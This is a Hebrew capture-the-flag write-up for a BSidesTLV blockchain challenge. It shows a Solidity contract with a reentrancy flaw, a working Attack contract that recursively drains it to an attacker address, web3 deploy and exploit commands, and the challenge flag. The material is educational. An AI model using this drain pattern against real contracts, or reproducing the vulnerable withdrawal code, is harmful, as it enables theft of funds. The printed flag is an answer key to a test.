El Profesor
- קטגוריה: Blockchain
- 1200 נקודות
- נפתר על ידי קבוצת JCTF
תיאור
פתרון
pragma solidity ^0.4.23;
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract dao {
using SafeMath for uint;
mapping(address=>uint) userBalances;
modifier oneWei() {
require(userBalances[msg.sender] >= 1 wei);
_;
}
function getUserBalance(address user) constant returns(uint) {
return userBalances[user];
}
function addToBalance() payable {
uint currentBalance = userBalances[msg.sender];
userBalances[msg.sender] = currentBalance.add(msg.value);
}
function getBalance() constant returns (uint) {
return this.balance;
}
function withdrawBalance() oneWei() {
uint amountToWithdraw = userBalances[msg.sender];
if(amountToWithdraw > this.balance) {
amountToWithdraw = this.balance;
}
if(msg.sender.call.value(amountToWithdraw)() == false) {
return;
}
userBalances[msg.sender] = 0;
}
function() payable {}
}
המטרה היא לנצל חולשת אטומיות ולרוקן את החוזה מנכסיו. באותה החולשה השתמשו כנגד ה-DAO), מה שהוביל לגניבת 50 מליון דולר.
קטע הקוד הפגיע הוא:
uint amountToWithdraw = userBalances[msg.sender];
if(amountToWithdraw > this.balance) {
amountToWithdraw = this.balance;
}
if(msg.sender.call.value(amountToWithdraw)() == false) {
return;
}
userBalances[msg.sender] = 0;
כפי שניתן לראות, הקוד הזה פגיע כי איפוס היתרה נעשה לאחר שההעברה מתבצעת. כאשר הסכום יכול להישלח לחוזה אחר, ופונקציית ה-fallback של אותו חוזה תיקרא.
בפונקצית ה-fallback ניתן לקרוא שוב באופן רקורסיבי ל-withdrawBalance וניתן יהיה למשוך שוב מטבעות מכיוון שהתנאי בודק את היתרה והיא כזכור עדיין לא שונתה.
לכן, המימוש של החוזה החכם שלנו שלנו יהיה:
// ...(the original dao contract code)...
contract Attack {
address attacker_address = /*attacker_address*/;
mapping(address=>uint) userBalances;
dao target;
int i;
function Attack(address a) payable{
target = dao(a);
}
// donate some Ether to make withdraw accept
function donate() public payable {
i = 1;
target.addToBalance.value(msg.value)();
}
function get_balance() public view returns(uint) {
return target.getBalance();
}
function myBalance() public view returns(uint) {
return target.getUserBalance(this);
}
function withdraw() public{
target.call(bytes4(keccak256("withdrawBalance()")));
}
// Make it recursive
function () public payable{
if(i > 1) {
i -= 1;
this.withdraw();
attacker_address.transfer(msg.value);
}
}
}
ההתקפה תמשוך את סכום ההעברה ותעביר את הסכום לכתובת של התוקף. נייצא את החוזה:
var attack_abi = /*[abi-contract]*/;
var a = fundraiser_address ;
var attackContract = web3.eth.contract(attack_abi);
var attack = attackContract.new(a,{
from: /*attacker_address*/,
data: /*contract_binary*/,
gas: '4700000'
}, function (e, contract){
console.log(e, contract);
if (typeof contract.address !== 'undefined') {
console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
}
}
)
ולאחר מכן, נתקוף:
var attacker = web3.eth.contract(attack_abi).at(contract.address);
attacker.donate({value:1337000000000000000000});
attacker.withdraw()
כאשר נבדוק את היתרה, נקבל את הדגל:
BSidesTLV{MiSonAlzatoOBellaCiaoBellaCiaoBellaCiaoCiaoCiao!}